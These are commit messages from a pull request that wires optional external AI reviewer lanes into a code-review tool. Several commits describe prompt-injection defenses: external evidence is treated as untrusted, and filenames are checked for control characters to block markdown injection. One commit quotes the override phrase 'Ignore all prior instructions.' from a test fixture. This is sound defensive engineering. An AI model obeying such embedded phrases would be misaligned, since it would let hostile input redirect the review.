${EXTERNAL_EVIDENCE_BLOCK}, explicitly marked unverified. No reviewer-lane
flag leaves the internal-only dispatch byte-for-behavior unchanged
(COMP-01).

Deviation (Rule 3 — blocking issue): 01-02 documented `review-lane
dispatch-step` (gsd-core/references/loop-hook-dispatch.md) as the CLI
route `dispatchReviewerLanes` wires through, but never implemented the
gsd-tools.cjs subcommand — the workflow's call had nothing to reach. Add
it to the existing review-lane router, reusing the same effort-aware plan
building and runner deps `plan`/`invoke` already use (factored into
buildLaneRunnerDeps to avoid duplicating the spawn/http/fs seam). Guard
the CLI's own `detected` set on whether an explicit flag was passed:
resolveReviewerSelection's no-explicit-selection fallback is "select every
detected reviewer" (the correct default for /gsd:review), and passing it
an unconditionally non-empty detected set would silently invoke the whole
roster on every no-flag code review, violating COMP-01.

* test(01-03): define external finding consolidation

RED: assert gsd-code-reviewer.md treats <external_reviewer_evidence> as
untrusted input — independently re-verifies every claim against the actual
current source, resists a prompt-injection attempt embedded in evidence
text, and folds a verified claim into the existing Narrative Findings
section with no second REVIEW.md schema (CONS-01..03). Also assert
code-review.md's EXTERNAL_EVIDENCE_BLOCK restates the four fixed
source-review prohibitions (SAFE-03..06) at the internal-reviewer handoff.

* feat(01-03): consolidate external review evidence

GREEN: gsd-code-reviewer.md's load_context parses <external_reviewer_evidence>
as untrusted data, independently re-verifies every cited claim against the
actual current source before it can appear in REVIEW.md, and explicitly
resists prompt injection embedded in evidence text (never a command, no
matter what it claims to be). A verified claim folds into the existing
Narrative Findings section with (external: {slug}) provenance — one
REVIEW.md schema only, no separate external-findings section.
code-review.md's EXTERNAL_EVIDENCE_BLOCK now restates the four fixed
source-review prohibitions (SAFE-03..06) at the internal-reviewer handoff.

* fix(01-02): gitignore the reviewer-step-dispatch build artifact

01-02 added src/reviewer-step-dispatch.cts but never added its
npm run build:lib output to .gitignore, unlike every sibling
gsd-core/bin/lib/*.cjs generated file. Left it showing as untracked
noise in git status.

* docs(01-04): publish user and command contract for reviewer-lane source review

- Document optional reviewer-lane flags on /gsd-code-review in USER-GUIDE.md
  and COMMANDS.md: opt-in, no source bodies in prompts, no fallback on
  failure, findings independently consolidated into the single REVIEW.md
- Add the same contract to the docs/features/code-review-pipeline.md
  fragment and regenerate docs/FEATURES.md from it
- Preserve /gsd-review as the plan-review command; cross-reference it
  rather than duplicating the reviewer roster
- Pick up docs/INVENTORY-MANIFEST.json and skills/gsd-code-review/SKILL.md
  drift owned by source already shipped in Plans 01-01/01-03 but never
  regenerated (npm run regen:derived had not been run in this worktree)

* docs(01-04): align architecture and agent ownership docs for reviewer-lane trait

- ARCHITECTURE.md: trace the #4209 capability trait (supportsReviewerLanes)
  through the shared dispatchReviewerLanes interpreter to the existing
  review-lane plan/invoke machinery, ending at gsd-code-reviewer as the
  sole REVIEW.md consolidator
- AGENTS.md: document gsd-code-reviewer's full-context verification scope
  and its treatment of external reviewer evidence as unverified input
- No new diagram, abstraction, or config key; docs/CONFIGURATION.md is
  unchanged since the feature adds no setting or default

* fix(01-02): eslint-ignore the reviewer-step-dispatch build artifact

Same gap as the earlier .gitignore fix: 01-02 added
src/reviewer-step-dispatch.cts but never added its generated
gsd-core/bin/lib/reviewer-step-dispatch.cjs output to
eslint.config.mjs's ignore list like every sibling generated file,
so tsc's emitted __importDefault CommonJS-interop var tripped
no-var.

* fix(01-04): add the reviewer-step-dispatch.cjs roster row to docs/INVENTORY.md

01-04 regenerated docs/INVENTORY-MANIFEST.json (which now lists
cli_modules/reviewer-step-dispatch.cjs) but the hand-written roster
row in docs/INVENTORY.md — required by design, since a role sentence
cannot be generated — was never added.

* fix(01-01): update the code-review capability-step fixture for supportsReviewerLanes

refactor-trigger-cli.test.cjs's preservesCodeReviewHookShapeAlongsideRefactorHook
strict-deep-equals the code-review step's exact shape at execute:post; 01-01 added
supportsReviewerLanes: true to that step and this fixture was not updated.

* chore(01-03): acknowledge emitted-doc growth for code-review.md and gsd-code-reviewer.md

Both files grew as a direct, intended consequence of wiring optional
reviewer lanes into /gsd:code-review (the new dispatch_reviewer_lanes
step and the untrusted-evidence consolidation contract) — not
incidental drift.

Emitted-Drift-Ack-Growth: code-review.md — new dispatch_reviewer_lanes step and EXTERNAL_EVIDENCE_BLOCK wiring for optional reviewer lanes (#4209)
Emitted-Drift-Ack-Growth: gsd-code-reviewer.md — untrusted external-evidence consolidation contract for optional reviewer lanes (#4209)

* test(01-05): define WR-01/WR-02 reliability contract for dispatchReviewerLanes

From internal code review: dispatched must be false when zero lanes
actually reached plan(), and a throwing plan()/invoke() for one lane
must not discard results already collected for a sibling lane —
matching the fail-closed pattern gsd-tools.cjs already uses for the
same resolveLanePlan call (#2494/#2605/#1698/#1936/#2073/#2176/#2589/#2794).

Refs: gsd-core-dks.16, gsd-core-dks.17

* fix(01-05): close WR-01/WR-02/IN-01/IN-02 from internal review

- WR-01: dispatched now tracks whether any lane actually reached
  plan(), not results.length — an unresolvable selected slug no
  longer reports dispatched:true.
- WR-02: plan()/writePromptFile()/invoke() wrapped per-lane so a
  throw for one lane can never discard results already collected
  for a sibling lane, matching the same guard gsd-tools.cjs already
  has around the identical resolveLanePlan call.
- IN-01: documents the intentional budget===0-is-unbounded
  convention (#2797) the caller already relies on.
- IN-02: review-lane dispatch-step no longer blocks indefinitely on
  an un-piped interactive TTY; fails closed to empty paths instead.

Refs: gsd-core-dks.16, gsd-core-dks.17

* docs(01-05): add changeset fragment for PR #17

* fix(01-03): allowlist prompt-injection-scan false positive on the untrusted-evidence contract

agents/gsd-code-reviewer.md's untrusted-evidence section and its
pinning regression test both quote injection phrases as the exact
attack they defend against/detect — same
DEFECT.PROMPT-INJECTION-SCAN-COLLISION class as the existing
allowlist entries, not an actual injection vector.

* test(01-05): extend WR-02 coverage to writePromptFile/invoke throws; DIFF_BASE-empty skip

From CodeRabbit review: WR-02's earlier fix only wrapped plan() —
writePromptFile()/deps.invoke() still ran unguarded, so a throw
there still aborted every later selected lane. Also covers the
dispatch_reviewer_lanes DIFF_BASE-empty-provenance gap (explicit
lanes silently not running when no prior review and no phase-start
commit exist).

* fix(01-05): skip dispatch_reviewer_lanes with a clear warning when DIFF_BASE cannot be resolved

Previously an explicit reviewer-lane request with no prior review and
no resolvable phase-start commit reached dispatch-step with an empty
--base-sha, which fails closed via missing_provenance — correct, but
silent about why explicitly requested lanes didn't run. Now skip
dispatch entirely in that case with a stderr warning naming the
actual cause.

* fix(01-05): wrap writePromptFile/invoke in the same per-lane try/catch as plan()

WR-02's original fix only guarded plan() — a throw from
writePromptFile() or deps.invoke() still aborted the whole dispatch,
discarding results already collected for lanes processed earlier in
the loop. CodeRabbit caught the gap; WR-02b/WR-02c pin it.

* fix(01-05): WR-02b mock must throw only on the first writePromptFile() call

The committed mock threw unconditionally, so codex's retry also threw and
failed for the same reason as claude's — the test could not distinguish
'sibling still runs' from 'sibling also breaks'. Gate the throw to the
first call, matching WR-02/WR-02c's single-failure intent.

* fix(#4209): close review findings from adversarial + critical-code-reviewer pass

Two independent reviews (agy adversarial review, Opus critical-code-reviewer +
ponytail) found 6 Blocking and 7 Required issues in the reviewer-lane dispatch
wiring around dispatchReviewerLanes. All 13 tracked in gsd-core-dks.18-30 and
fixed here:

- dispatch-step's reducer silently swallowed whole-dispatch rejections
  (invalid paths, missing provenance, etc); it now checks parsed.ok/reason.
- spawn_reviewer recomputed its own stale DIFF_BASE, diverging from the
  LAST_REVIEW_COMMIT-aware value dispatch_reviewer_lanes uses on re-review;
  now shares the single compute_file_scope derivation.
- the external reviewer prompt had no actual review request or citation
  requirement, only prohibitions; added both.
- removed the supportsReviewerLanes trait plumbing (capability registry,
  validator, loop-resolver, docs, tests) — it was never consulted by the
  real dispatch path, which gates on explicit CLI flags instead.
- flag-resolution require() was a fragile cwd-relative literal that failed
  silently on non-vendored installs; now resolves via GSD_TOOLS's own
  directory and warns instead of swallowing failure.
- reducer didn't unwrap the @file: overflow protocol for large payloads.
- deduplicated resolveBudget/budgetFor into one resolveLaneBudget.
- lane artifacts now write to a mktemp run dir instead of $PHASE_DIR, so a
  second dispatch can't overwrite prior evidence.
- validatePaths rejects control characters, closing a markdown-injection
  vector into the external prompt via crafted filenames.
- reworded the one line that tripped prompt-injection-scan.sh instead of
  allowlisting the whole production prompt file.
- fixed a stale docstring range and a dispatched-field ordering bug.
- added 3 integration tests executing the actual reducer against synthetic
  dispatch-step JSON, replacing markdown-substring-only assertions.

771/771 tests pass across every touched suite; tsc --noEmit clean.

* fix(#4209): wire supportsReviewerLanes as the maintainer's required reusable trait

The maintainer's approval on issue #4209 explicitly redirected implementation
shape: reviewer-lane dispatch must be a reusable capability/step-dispatch
trait ("supportsReviewerLanes"), not code-review.md hand-wiring the call
itself. My previous commit (e2558326) deleted that trait entirely after
finding it declared-but-never-consulted, which was backwards — the fix was to
wire it, not remove it.

Restores the trait (capability.json, generated registry, validator,
loop-resolver.cts, docs, tests) and wires it for real: dispatch_reviewer_lanes
now resolves its own active hook via `gsd_run loop render-hooks` for the
configured workflow.code_review_point and only proceeds to CLI-flag matching
when supportsReviewerLanes reads true. Explicit flags no longer bypass the
trait; a matching flag with the trait false resolves zero slugs (proven by a
new integration test executing the real fence with both trait states).

Emitted-Drift-Ack-Growth: gsd-core/workflows/code-review.md — the
dispatch_reviewer_lanes step grows a trait-resolution fence (#4209 maintainer
redirect requires the capability layer, not the workflow, own the opt-in
decision).

* fix(#4209): dispatch-step self-verifies the reviewer-lane trait via --cap-id/--point

Both an agy adversarial review and an Opus critical-code-reviewer pass
independently found the same gap in my previous commit (9b2c3773d): the trait
check I wired into code-review.md only protected code-review's OWN
invocation — gsd-tools.cjs's dispatch-step handler still hardcoded
`trait: true` unconditionally, so a second capability declaring
supportsReviewerLanes would get zero enforcement from the shared CLI unless
it correctly re-implemented the ~15-line render-hooks scrape itself. That is
exactly the "each workflow.md hand-wiring the call" the maintainer's redirect
said to eliminate.

Moves the trait check into dispatch-step itself: given --cap-id/--point, it
self-invokes `loop render-hooks <point>` (relocating the one subprocess
code-review.md used to spawn for this, not adding a new one) and derives the
real trait from that capId's active hook, rather than trusting a
caller-passed boolean. code-review.md now only passes
--cap-id code-review --point "$CODE_REVIEW_POINT" and no longer resolves or
gates on the trait itself — the ~20-line scrape it previously carried is
gone. Any other capability opts into the identical enforcement by declaring
the trait and passing the same two flags.

Replaced the two tests that stipulated SUPPORTS_REVIEWER_LANES as an input
variable (they proved a bash branch honors a variable, not that the variable
reflects the real capability manifest) with three integration tests that
invoke the real dispatch-step CLI against the real first-party capability
registry: the real code-review trait resolves true, an unknown --cap-id
resolves false (trait_not_enabled, fail-closed), and omitting
--cap-id/--point entirely resolves false (no context means no opt-in).

Also: reject \x7f/U+2028/U+2029 in validatePaths' control-character check
(agy-F1 was incomplete), and delete the promptWritten per-lane coupling
flag — the prompt write is idempotent, so writing it once per lane instead
of gating on "did any lane write it yet" removes a latent bug where a
deps.plan override that ever varies promptPath per lane would silently skip
writing for a later lane.

Emitted-Drift-Ack-Growth: gsd-core/workflows/code-review.md — net line count
drops (the trait scrape moved into dispatch-step), but the file still grew
this session across multiple commits; acknowledging per the growth-tracking
convention.

* fix(#4209): remove per-run token waste from the shipped prompts

Runtime prompt content, not session tokens: two real, per-invocation token
costs in the code that ships.

1. agents/gsd-code-reviewer.md's critical_rules restated nearly all of
   load_context step 5's ~180-word untrusted-evidence contract in ~90 more
   words, breaking this section's own established terse one-liner style
   (every other rule here is 1-2 sentences). This prompt loads fresh on
   every /gsd:code-review invocation. Shrunk to a one-line cross-reference,
   matching how write_review's own reference to step 5 already does it.

2. buildSourceReviewPrompt repeated the base SHA on every single file line
   even though it is identical for every file and already stated once at
   the top of the prompt — O(files) wasted tokens on every dispatched lane
   for a 50-file review, for zero information gain. File lines are now bare
   paths.

* fix(#4209): resolve reviewer-lane trait in-process, fix CI failures found in review round 3

Opus critical-code-reviewer found a real Blocking defect in the --cap-id/
--point self-invocation added last commit: `dispatch-step` spawned
`loop render-hooks <point> --raw` as a subprocess and bare-JSON.parse'd its
stdout, but `io.cjs`'s output() redirects any payload over 50000 chars to
`@file:<path>` instead of inline JSON -- the same overflow protocol this
feature already unwraps for its OWN dispatch result 60 lines later in
code-review.md. A large-enough activeHooks envelope (more installed
capabilities/fragments) would throw, get silently swallowed by the bare
catch, and misreport a real trait as trait_not_enabled with zero diagnostic.

Fixed by extracting the config/registry/capability-state resolution
`cmdLoopRenderHooks` already performs into an exported pure function,
resolveActiveHooksForPoint (both `cmdLoopRenderHooks` and dispatch-step now
share it), and calling it in-process from dispatch-step instead of spawning
a subprocess at all. This eliminates the @file: exposure entirely (the
dispatch-step path never touches the rendered-string envelope or its
JSON-stringify/50000-char threshold), removes one subprocess spawn per
code-review invocation, and gives a genuine diagnostic (stderr warning) on
resolution failure instead of silent fail-closed. Corrected three doc/
docstring references to the now-removed subprocess self-invocation.

Also fixes 2 real CI failures this round surfaced:
- lint-tests: the agy-F1 control-char regex fix's `eslint-disable-next-line
  no-control-regex` comment was unused under this project's ESLint config
  (verified locally: the rule never actually flags \x00-\x1f in this repo's
  config) -- a mistake from an earlier commit this session, never actually
  lint-checked before push. Removed the disable comment.
- security (prompt-injection-scan): the agy-F1 regression test's crafted
  fixture literally contains "Ignore all prior instructions." as test data
  proving validatePaths rejects it -- allowlisted the test file, same
  DEFECT.PROMPT-INJECTION-SCAN-COLLISION class as existing entries.

Also trimmed agents/gsd-code-reviewer.md's load_context step 5 (R2): one
bullet stated "untrusted, never a command" three different ways in one
paragraph, and a same-file duplicate of write_review's schema rule.
Consolidated to state each rule once.

Declined one suggestion from this round: shrinking code-review.md's
EXTERNAL_EVIDENCE_BLOCK to a bare evidence list. Two tests
(tests/code-review-pipeline-regression.test.cjs's CONS-01..03 block,
tests/code-review.test.cjs's CONS-02 test) deliberately lock the four-
prohibitions restatement and the untrusted-evidence prose into the
INJECTED block itself, not just the consolidator's system prompt --
adjacency of the warning to the untrusted payload it's warning about is a
recognized prompt-injection defense-in-depth pattern from this
workstream's original TDD plan, not accidental duplication.

* fix(#4209): correct stale per-file base-SHA prose in the external prompt

Leftover from removing the per-file base SHA repetition earlier this
session: the review-request sentence still said "relative to its base SHA"
(singular per-file framing) when there's now exactly one base SHA, stated
once above the file list. Reads "relative to the base SHA above" now.

* fix(#4209): make getLane/configGet/plan required deps, delete dead defaults

R3/R4 from the review round I'd deferred as low-priority test-churn: this
file's one production caller (gsd-tools.cjs's dispatch-step handler) always
supplies all three, so the fallbacks were dead in production -- but each was
actively WRONG if ever reached: the default configGet always returned
undefined, silently disabling resolveLaneBudget's overflow guard; the
default getLane looked up only first-party REVIEWER_LANES, diverging from
production's overlay-merged roster; the default plan skipped per-host effort
resolution entirely.

These defaults were introduced by this PR's own earlier work (this file did
not exist before #4209 -- first commit a760bfcda, 01-02), not inherited from
elsewhere, so there's no external caller depending on the lenient contract.

Turned out free to fix: making the three deps required and deleting
defaultGetLane/defaultPlan needed zero test changes -- every existing test
that actually reaches the per-lane loop already supplies getLane/plan
explicitly, and configGet's only real dependent (the budget-overflow tests)
already supplies it too. 788/788 tests pass unchanged, tsc/lint clean.

* fix(#4209): define depth semantics for the external reviewer lane

Verified this was a real bug, not a match to existing convention as I'd
claimed when declining the suggestion earlier this session: the internal
gsd-code-reviewer agent's own system prompt carries a full <depth_levels>
block defining what quick/standard/deep mean and do (agents/gsd-code-
reviewer.md:68-99). The external reviewer lane has no access to that
persona at all -- it only ever sees buildSourceReviewPrompt's bounded text,
which sent the bare depth label with zero definition to a third-party CLI
with no other source of truth for what "standard" means.

Added depthMeaning(), condensed from the internal reviewer's own
<depth_levels> definitions so the two stay consistent, and interpolated it
into the review-request sentence. 150/150 tests pass, tsc/lint clean.

* fix(#4209): merge dispatch_reviewer_lanes' split fences into one shell invocation

CR-01 (Opus critical-code-reviewer, confirmed by direct execution): the
roster-matching fence set EXPLICIT_JOINED/EXPLICIT_REVIEWER_SLUGS, and a
SEPARATE later fence read them via ${#EXPLICIT_REVIEWER_SLUGS[@]} to decide
whether to dispatch at all. This file's own documented rule (its
depth-resolution guard, stated explicitly a few hundred lines earlier) is
that a guard and the extraction it protects must run as one shell
control-flow decision, because markdown-fenced blocks do not share shell
state -- this step violated its own file's rule for the entire feature's
gating condition.

Merged the roster-resolution fence and the dispatch-decision fence into one
continuous bash block, removing the intervening prose that split them.
Fixed the stderr-based failure detection in the same edit (RQ-01: checking
whether stderr is non-empty misfires on any benign Node warning; now checks
the actual exit status of the roster-resolution command).

Verified by extracting the merged fence and executing it standalone, driving
both branches: --codex resolves EXPLICIT_JOINED=codex, SLUGS_COUNT=1, and a
real dispatch-step call succeeds; no flags resolves EXPLICIT_JOINED empty,
SLUGS_COUNT=0, dispatch-step never invoked (COMP-01). 141/141 workflow tests
pass, tsc/lint clean.

* fix(#4209): depthMeaning accuracy, injection defense on all embedded fields, hoisted prompt write

Batch of Required/Suggestion fixes from the Opus critical-code-reviewer +
writing-for-agents pass:

- CR-02/CR-03: depthMeaning() dropped real categories from quick (empty catch
  blocks, commented-out code) and deep (error propagation, state mutation
  consistency, circular dependencies) relative to the real <depth_levels>
  block, and had zero test coverage. Restored full accuracy and added tests
  that read the real agents/gsd-code-reviewer.md file directly, so drift
  between the two can't recur silently. Unrecognised depth now normalizes to
  standard's definition, matching that agent's own documented rule, instead
  of rendering an undefined bare label.

- RQ-04: depth/baseSha/repoRoot/runDir land in the same markdown prompt
  `paths` does, but weren't checked for control characters like paths were
  (agy-F1's original finding). Hoisted CONTROL_CHAR to module scope and
  applied it to all four fields at the same provenance-check boundary.
  runDir previously had zero validation at all.

- S1: deleted the dead `identity` parameter on `invoke` -- the one production
  caller already ignores it, no test read it by name.

- S2: hoisted the shared prompt write above the per-lane loop -- promptPath
  is derived from runDir alone (constant across lanes by construction), so
  writing it once is both correct and cheaper than the per-lane write R1
  introduced earlier this session. Discovered and fixed a real regression
  from the naive version of this hoist: an unguarded throw would have
  escaped dispatchReviewerLanes as an uncaught exception instead of a clean
  per-lane failure. Added a new PROMPT_WRITE_FAILED whole-dispatch reason,
  matching the existing validatePaths/MISSING_PROVENANCE halt pattern, with
  a dedicated regression test.

- S3: moved `planned = true` past the budget-overflow gate, so `dispatched`
  only reports true once a lane has cleared BOTH plan and budget checks.

- S5: relayed gsd-code-reviewer.md's own "performance issues are out of
  scope unless also correctness issues" policy into the external-lane
  prompt, which previously had no such guidance and could return findings
  the internal reviewer's own contract excludes.

- RQ-05 (partial): shrunk this file's own header docstring's restatement of
  the trait-reuse architecture to a pointer at
  gsd-core/references/loop-hook-dispatch.md, the canonical home.

234/234 tests pass across the full reviewer-lane test suite, tsc/lint clean.

* fix(#4209): dedupe roster-merge logic, consolidate trait architecture prose, add step completion criterion

RQ-02: added a `review-lane explicit-from-argv` subcommand that reuses the
SAME merged-roster logic (`laneBySlug`) `dispatch-step`/`plan`/`invoke`
already share. code-review.md's ~18-line inline `node -e` reimplementing
`loadRegistry`+`mergeReviewerLanes` (a rename-only copy of the block in
gsd-tools.cjs) is now a single call to this subcommand -- the exact
violation code-review-flags.cjs's own header warns against ("this is the
canonical flag-parsing surface -- do not replicate inline bash parsing").

RQ-03: an empty --cap-id XOR --point now warns distinctly from the
legitimate no-context opt-out (both absent) -- a caller that named a
capability without its point was silently indistinguishable from a correct
opt-out. Also hardened the CODE_REVIEW_POINT config-get fallback: it only
ever fires when the config-get COMMAND ITSELF fails (config-get already
resolves the manifest's own schema default in the normal case), but that
failure was previously silent.

RQ-05/W-01/W-12/W-13: the "supportsReviewerLanes is a reusable trait
resolved inside dispatch-step" explanation was restated in full in 5
places across this session's own review cycles. Consolidated to ONE
canonical statement in gsd-core/references/loop-hook-dispatch.md; the other
4 (this file's own header, gsd-tools.cjs's comment, docs/ARCHITECTURE.md,
code-review.md's step-opening comment) now point at it instead.

W-05/W-06: loop-hook-dispatch.md described "false or non-boolean" as two
inert cases when capability-validator.cjs already rejects non-boolean at
load -- restated as the two cases that actually reach this code. Removed a
"do not hand-roll trait resolution" prohibition whose target no longer
exists once the positive description precedes it.

W-04: deleted a no-op sentence in agents/gsd-code-reviewer.md ("missing
block means proceed as normal") -- an absent optional block already means
proceed as normal without being told.

W-08/W-09: replaced longhand "zero selection/plan/invoke calls" and the
made-up compound "byte-for-behavior [un]changed" with the token this
session's own docs already coined for this concept (inert) and the word
that means what byte-for-behavior was reaching for (unchanged).

W-10: dispatch_reviewer_lanes had no completion criterion -- added one
sentence naming the checkable end state (EXTERNAL_EVIDENCE_BLOCK is set,
either populated or empty). This exact sentence would have caught the
cross-fence bug fixed two commits ago at authoring time.

Declined from this round, with reasoning: W-02/W-03 (trim the
untrusted-evidence restatement in EXTERNAL_EVIDENCE_BLOCK/critical_rules) --
two tests deliberately lock this as intentional adjacency-based
prompt-injection defense-in-depth, not accidental duplication (see this
branch's own earlier commit). S4 (wrap LANE_RUN_DIR in a creation-site
`trap ... EXIT`) -- would fire at the end of the CREATING fence, before
spawn_reviewer's agent ever reads the evidence files, given this file's own
documented fenced-block execution model; the existing named cross-reference
between creation and cleanup already satisfies the co-location concern
without introducing that regression.

853/853 tests pass across the full reviewer-lane test suite, tsc/lint clean.

* fix(#4209): merge CODE_REVIEW_POINT into dispatch_reviewer_lanes' one fence, stop test from spawning real codex

Round-5 review (agy) found the same cross-fence-split bug CR-01 already fixed
for EXPLICIT_JOINED/EXPLICIT_REVIEWER_SLUGS: CODE_REVIEW_POINT's config-get
fallback lived in an earlier, separate fence from the fence that consumes it
via --point, split only by prose (not a guard, per this step's own documented
rule). Merged into the single continuous fence and added a structural test
asserting exactly one bash fence in the step.

The new end-to-end regression test for this used --codex, which drives the
fence's real `review-lane dispatch-step` call and, with the codex binary
present on PATH, spawns the real external CLI — which then blocks on
interactive auth with no stdin (BL-01). Stubbed gsd_run for
`review-lane dispatch-step` only (captures argv instead of executing),
keeping the real config-get/explicit-from-argv calls the test is actually
about.

* fix(#4209): split control-char vs missing provenance reason, realpath-check path escapes, stale comment

Round-5 review (Opus) warning-tier findings:

- WR-04: MISSING_PROVENANCE covered both "field absent" and "field present but
  a control-character injection attempt" — a caller distinguishing a config
  problem from a security event couldn't tell them apart. Split into
  MISSING_PROVENANCE (absent) and INVALID_PROVENANCE (present but invalid).
- WR-05: validatePaths' containment check was lexical only (path.resolve),
  so a symlink whose own path sits inside repoRoot could still point outside
  it. Added an fs.realpathSync check (ENOENT-tolerant — a git-diff path can
  legitimately name a file already deleted in a stale worktree), realpathing
  repoRoot itself too so a symlinked repoRoot (e.g. /tmp on macOS) doesn't
  false-positive-reject its own real children.
- WR-08: a comment in the per-lane loop still said a throwing writePromptFile()
  was caught there — stale since the prompt write was hoisted above the loop
  in an earlier round.

WR-03 (validate depth against the quick/standard/deep enum) was considered
and declined: this dispatcher is deliberately capability-neutral (see the
existing "synthetic step context" test, which passes a non-code-review depth
label on purpose to prove no code-review-specific special-casing exists).
WR-01 (double registry load), WR-02 (trim-vs-hard-fail budget semantics), and
WR-07 (reason omitted on the aggregate return) were verified against source
and are not bugs — see review notes.

* docs(#4209): document LANE_RUN_DIR's early-exit trade-off as accepted, not a gap

Round-5 review (Opus, BL-03) flagged that an early exit between
dispatch_reviewer_lanes and commit_review leaks the run-scoped temp dir. A
trap-based cleanup was considered and rejected: if a step genuinely runs as
a separate process, a trap set at creation time would fire at the end of
that SAME fence, deleting the directory before spawn_reviewer/commit_review
ever read it — worse than the leak it would fix.

review.md's own gather_context/cleanup pair for the identical resource class
(a run-scoped reviewer temp dir) already makes and documents this exact
trade-off: cleanup runs only on a documented success path, and a leftover
$TMPDIR entry is explicitly called cheaper than destroyed evidence. Recording
that precedent here so this isn't re-raised as a live gap in a future review.

* fix(#4209): register the WR-05 symlink-escape test's synthetic docs/ path

reviewer-step-dispatch.test.cjs's "capability-neutral reuse" fixture passes
paths: ['docs/spec.md'] as a synthetic, never-read path proving the
dispatcher has no code-review-specific special-casing. lint-docs-guard-
registration correctly flagged this as an unregistered docs/ path reference —
add the docs-guard-exempt marker and its pinned baseline entry, the same
pattern every other synthetic docs/ literal in this test suite already uses.

* fix(#4209): backfill changeset pr: field with the real upstream PR number

changeset-lint's fail_pr_field_drift caught the fragment still pointing at
the fork PR (17) instead of the upstream one (open-gsd/gsd-core#4323) this
branch is now also open against.

* docs(#4209): amend ADR-2782 for the supportsReviewerLanes step-trait seam

trek-e's review (2026-09-07, gsd-core#4323) found a real ADR gap: every
decision in ADR-2782 (D1-D9) and every prior dated amendment governs the
`role: "reviewer"` capability body and its one consumer, /gsd:review. This
PR's actual new seam - a `supportsReviewerLanes: true` trait on an ordinary
feature capability's `steps[]` entry, projected through loop-resolver.cts
and resolved in-process via resolveActiveHooksForPoint - is a different
capability axis (steps/gates/contributions) that the ADR's own scope note
explicitly places out of reach. Per docs/contributor-standards.md's
"Amending an accepted ADR", an in-place dated section is the established,
lighter-weight path for an addition that stays within the ADR's existing
decisions - used twice already in this same file - so this appends a third
dated entry documenting the new seam, its consumer, and why it reuses the
existing D1-D9-governed plan/invoke machinery rather than adding a second
one. No decision is reversed; no new Amends/Amended-by pair is needed since
the steps/gates/contributions axis already carries reciprocal links to
ADR-857 and ADR-894.

* fix(#4209): close two test-quality gaps trek-e's review found

Minor 1: validatePaths (a path-shape parser guarding the prompt-
injection/path-traversal trust boundary) had only example-based coverage,
violating ADR-456's rule that parsers/budget limits carry at least one
fast-check property test. Adds three: safe-segment paths are never
rejected, a single leading "../" always escapes the one-segment repoRoot,
and a control character anywhere is always rejected - one property per
rejection reason validatePaths owns.

Minor 2: the budget-overflow check (`estimatedTokens > budget`) was only
ever exercised far below budget or at budget:0 (unbounded), never at the
exact threshold crossing where a `>` vs `>=` off-by-one would hide. Adds
three exact-boundary tests using the real estimateTokens/
buildSourceReviewPrompt the module calls internally, so the resolved
token count is exact rather than approximated: budget == estimate (must
pass), budget == estimate - 1 (must fail), budget == estimate + 1 (must
pass).

Also extracts okPlan()'s fixture timeoutMs into a named constant -
local/no-adhoc-timeout-literal (#4446) landed on next after this branch
was authored and flagged the pre-existing literal on rebase; it is fixture
data for a synthetic plan object dispatchReviewerLanes never waits on, a
distinct class from tests/helpers/timeouts.cjs's real subprocess norms.

* fix(#4209): update docs-guard-registration baseline for the new ADR citation

reviewer-step-dispatch.test.cjs's new fast-check property tests cite
docs/adr/456-test-rigor-architecture.md in a justifying comment (never a
real read). lint-docs-guard-registration fingerprints every docs/ path
string an exempted test file mentions and fails on drift so a human
re-confirms the exemption still holds - re-confirmed, and the baseline is
updated to match.

* fix(#4209): point changeset pr: field at the fork PR for CI validation

changeset-lint's fail_pr_field_drift check compares the fragment's pr:
field against the PR the CI run is actually attached to (GITHUB_EVENT_PATH),
not a fixed target. Rehearsing this branch on fork PR
davdittrich/gsd-core#17 needs pr: 17 to pass that check; the prior commit's
pr: 4323 (the real open-gsd upstream PR number) is correct for that PR but
fails here. Backfill to 4323 happens again, as the last commit, immediately
before the approved push to open-gsd#4323 - never leaving pr: 17 on the
branch that ships upstream.

* fix(#4209): reject promptChannel:none lanes from source-review dispatch

CodeRabbit found a real scope mismatch: coderabbit's lane declares
promptChannel: 'none' and reviews the working tree on its own terms,
fed nothing (review.md:367). Silently dispatching it through
dispatchReviewerLanes would ignore the bounded paths/depth/baseSha scope
buildSourceReviewPrompt promises and let the lane review whatever it
independently sees fit, violating this interpreter's own scoped,
metadata-only contract. Reject before plan()/invoke(), same as an
unresolved slug.

* fix(#4209): scope CONS-02 test to the evidence-block line, not the whole file

CodeRabbit found the whole-file match on workflowContent would still
pass if UNVERIFIED and re-open/reopen appeared in two unrelated parts
of this 1000+-line workflow, proving nothing about the actual evidence
block's contract. Line-filtered via splitLines (not a bare-\n regex
spanning readFileSync content) so this stays CRLF-portable and passes
local/no-unbounded-quantifier and local/no-crlf-fragile-split.

* fix(#4209): guard DISPATCH_JSON substitution and capture its stderr

CodeRabbit found the dispatch-step command substitution unguarded: a
non-zero exit could leave DISPATCH_JSON empty (or halt the step under
errexit with no warning), and the downstream reducer would only ever
report the generic unparseable_dispatch_output reason, discarding the
command's own diagnostic. Guarded like the existing CODE_REVIEW_POINT/
EXPLICIT_JOINED calls above it: capture stderr to a temp file, surface
it in a warning on failure, and fall back to a parseable dispatch_
command_failed JSON stub so the reducer's existing reason-reporting
path still fires.

* docs(#4209): fix byte-for-behavior wording and missing colon, regenerate

CodeRabbit found "byte-for-behavior" should read "byte-for-byte" (the
established repo term for output-identical unchanged behavior) and a
missing colon after the bold "Optional external reviewer lanes (#4209)"
lead-in in docs/features/code-review-pipeline.md. Fixed in the two
hand-authored sources (commands/gsd/code-review.md, docs/features/
code-review-pipeline.md) and regenerated the two derived projections
(skills/gsd-code-review/SKILL.md via gen-plugin-skills.cjs, docs/
FEATURES.md via gen-features.cjs) so they stay in sync.

* fix(#4209): drop the fabricated DISPATCH_JSON fallback stub (Windows CI)

The prior fix's fallback `DISPATCH_JSON='{"ok":false,...}'` embeds
double-quoted JSON keys inside a single-quoted shell literal. That
extra quote density, inside an already quote-heavy ~8KB driver string,
passed bash -n and the full local suite on Linux but broke Windows
Git-Bash: `dispatch_reviewer_lanes computes CODE_REVIEW_POINT ... end
to end (#4209 round 5)` failed on two Windows CI shards with `bash -c:
unexpected EOF while looking for matching '''` — a Windows argv-to-
command-line re-quoting edge case, reproducible on rerun, not a flake.
Root-caused via gh api job logs plus a byte-identical local
reconstruction of the test's own driver script.

Fix: drop the fabricated stub. The downstream node -e reducer already
falls back to reason `unparseable_dispatch_output` on any JSON.parse
failure, so an empty/partial DISPATCH_JSON on command failure is still
handled correctly, with zero new quoting risk.

* revert(#4209): drop the DISPATCH_JSON stderr-guard nitpick (Windows CI)

